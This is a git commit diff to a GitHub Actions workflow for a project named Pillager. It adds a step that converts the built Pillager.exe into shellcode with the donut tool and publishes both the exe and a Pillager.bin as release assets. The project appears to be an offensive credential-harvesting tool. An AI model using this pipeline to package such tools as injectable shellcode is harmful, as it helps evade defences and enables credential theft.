Update main.yml
This commit is contained in:
parent
3288f9878c
commit
52c2d5cb8d
|
@ -19,6 +19,13 @@ jobs:
|
||||||
uses: actions/checkout@main
|
uses: actions/checkout@main
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
|
|
||||||
|
- name: Checkout private donut
|
||||||
|
uses: actions/checkout@v3
|
||||||
|
with:
|
||||||
|
repository: qwqdanchun/donut-self
|
||||||
|
token: ${{ secrets.PERSONAL_TOKEN }}
|
||||||
|
path: donut
|
||||||
|
|
||||||
- name: Setup MSBuild
|
- name: Setup MSBuild
|
||||||
uses: microsoft/setup-msbuild@v1.0.2
|
uses: microsoft/setup-msbuild@v1.0.2
|
||||||
|
@ -29,13 +36,9 @@ jobs:
|
||||||
- name: Build solution
|
- name: Build solution
|
||||||
run: msbuild -nologo -v:m -p:Configuration=${{ matrix.configuration }} Pillager.sln
|
run: msbuild -nologo -v:m -p:Configuration=${{ matrix.configuration }} Pillager.sln
|
||||||
|
|
||||||
- name: Install 7Zip PowerShell Module
|
- name: Build Shellcode
|
||||||
shell: powershell
|
shell: powershell
|
||||||
run: Install-Module 7Zip4PowerShell -Force -Verbose
|
run: .\donut\donut.exe -i .\Pillager\bin\Release\Pillager.exe -o .\Pillager.bin
|
||||||
|
|
||||||
- name: Build Artifact
|
|
||||||
shell: powershell
|
|
||||||
run: Compress-7Zip "Pillager\bin\Release" -ArchiveFileName "Pillager.zip" -Format Zip
|
|
||||||
|
|
||||||
- name: Delete-tag-and-release
|
- name: Delete-tag-and-release
|
||||||
uses: dev-drprasad/delete-tag-and-release@v0.2.1
|
uses: dev-drprasad/delete-tag-and-release@v0.2.1
|
||||||
|
@ -57,13 +60,24 @@ jobs:
|
||||||
draft: false
|
draft: false
|
||||||
prerelease: false
|
prerelease: false
|
||||||
|
|
||||||
- name: Upload Release Asset
|
- name: Upload Release Exe
|
||||||
id: upload-release-asset
|
id: upload-release-exe
|
||||||
uses: actions/upload-release-asset@v1
|
uses: actions/upload-release-asset@v1
|
||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
with:
|
with:
|
||||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||||
asset_path: ./Pillager.zip
|
asset_path: ./Pillager/bin/Release/Pillager.exe
|
||||||
asset_name: Pillager.zip
|
asset_name: Pillager.exe
|
||||||
asset_content_type: application/zip
|
asset_content_type: application/exe
|
||||||
|
|
||||||
|
- name: Upload Release Bin
|
||||||
|
id: upload-release-bin
|
||||||
|
uses: actions/upload-release-asset@v1
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
with:
|
||||||
|
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||||
|
asset_path: ./Pillager.bin
|
||||||
|
asset_name: Pillager.bin
|
||||||
|
asset_content_type: application/octet-stream
|
||||||
|
|
Loading…
Reference in New Issue